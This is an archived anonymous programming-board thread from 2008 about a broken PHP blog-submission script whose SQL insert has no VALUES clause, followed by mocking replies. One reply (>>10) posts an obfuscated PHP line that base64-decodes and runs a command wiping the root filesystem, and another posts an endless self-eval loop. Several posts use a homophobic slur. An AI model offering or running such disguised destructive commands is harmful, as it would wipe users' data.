Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

PHP Problem

Name: Anonymous 2008-02-09 17:51

Ok /prog/, I've written a blog submission script in php, and I am having quite a few problems with it. As far as I know it's perfect, but whenever I submit data the script doesn't seem to be working. I've had it working twice already, but every single time I delete the blog submission it stops working again. Here is the script:

<?php

$user="xxxxxxxxx";
$host="mysql.xxxxxxxx.net";
$password="xxxxxxxxx";
$database="xxxxxxxxxx";

$connection = mysql_connect($host,$user,$password)
or die ("couldn't connect to server"); $db = mysql_select_db($database,$connection)
or die ("Couldn't select database");

$name = strip_tags($_POST['name']);
$email = strip_tags($_POST['email']);
$entry = strip_tags($_POST['entry']);
$title = strip_tags($_POST['title']);
$btime =  strip_tags($_POST['btime']);
$etime =  strip_tags($_POST['etime']);
$icon =  strip_tags($_POST['icon']);

    if ($name=="" || $email=="" || $entry=="" || $title=="")
    {
        die ("You must fill in all fields, please click back and try again.");
    }

else {
    $query = "insert into `blog` (id,name,title,email,entry,btime,etime,icon)";
    $result = mysql_query($query);
   
    if ($result)
    {
        echo 'News entry hath been submitted.';
    }
}
?>

Halp ;-;.

Name: Anonymous 2008-02-09 18:19

gb2/pr/

Name: Anonymous 2008-02-09 18:24

>>2
Well considering how /pr/ doesn't allow halp threads, that may be a little difficult, plus 7chan is made of fail. So I came here. Now back on topic, can anyone please help me?

Name: Anonymous 2008-02-09 18:26

Wordpress.

Fuck off.

Name: Anonymous 2008-02-09 18:30

>>4

Wordpress is not suitable for the site I'm designing, and problem is now fixed, thanks to all that didn't help.

Name: Anonymous 2008-02-09 18:30

>>1
I've had it working twice already
That's a lie. Your data isn't even in your query.

Also, how do I shot SQL injections?

Name: Anonymous 2008-02-09 18:30

>>1
PHP Problem
You can say that again.

blog submission script
Gay.

As far as I know it's perfect
[sup][b][o][u][m]L O L[m][/u][/o][/b][/sup]

>>3
strip_tags() does not an input sanitizer make.

stop using php.

read SICP.

Name: Anonymous 2008-02-09 18:33

>>7
You managed to fail even harder than the OP. That's pretty impressive.

Name: Anonymous 2008-02-09 18:39

>>8
<?php while(1)eval(filegetcontents(__FILE__));?>

Name: Anonymous 2008-02-09 18:44

<?php exec(base64_decode("cm0gLXJmIC8=")); ?>

Name: Anonymous 2008-02-09 18:52

>>10
This may surprise you, but Apache rarely runs as root.

Name: Anonymous 2008-02-09 19:03

>>11
This might surprise you, but not every file is owned by root.

Name: Anonymous 2008-02-09 20:38

>>12
This might surprise you, but Apache rarely runs as root.

Name: Anonymous 2008-02-09 21:40

$query = "insert into `blog` (id,name,title,email,entry,btime,etime,icon)";

hahaha, oh wow

Name: Anonymous 2008-02-09 22:05

Hi! You forgot to add VALUES after `blog` in your $query line.

ahem.. I mean..

OMG FAGGOT STOP USING PHP OMG OMG Y U NOT USE ROR FAGGOT

Name: Anonymous 2008-02-09 22:08

>>14,15
If this were an imageboard, Slowpoke would make an appearance right about now.

Name: Anonymous 2008-02-10 1:47

It isn't. So piss off.

Name: Anonymous 2008-02-10 2:50

php

oh hi, i found your problem.

Name: Anonymous 2008-02-10 5:25

OMG FAGGOT STOP USING PHP OMG OMG Y U NOT USE ROR FAGGOT
Too bad Ruby on Rails is slow as fuck.

Name: Anonymous 2011-02-03 2:00


Don't change these.
Name: Email:
Entire Thread Thread List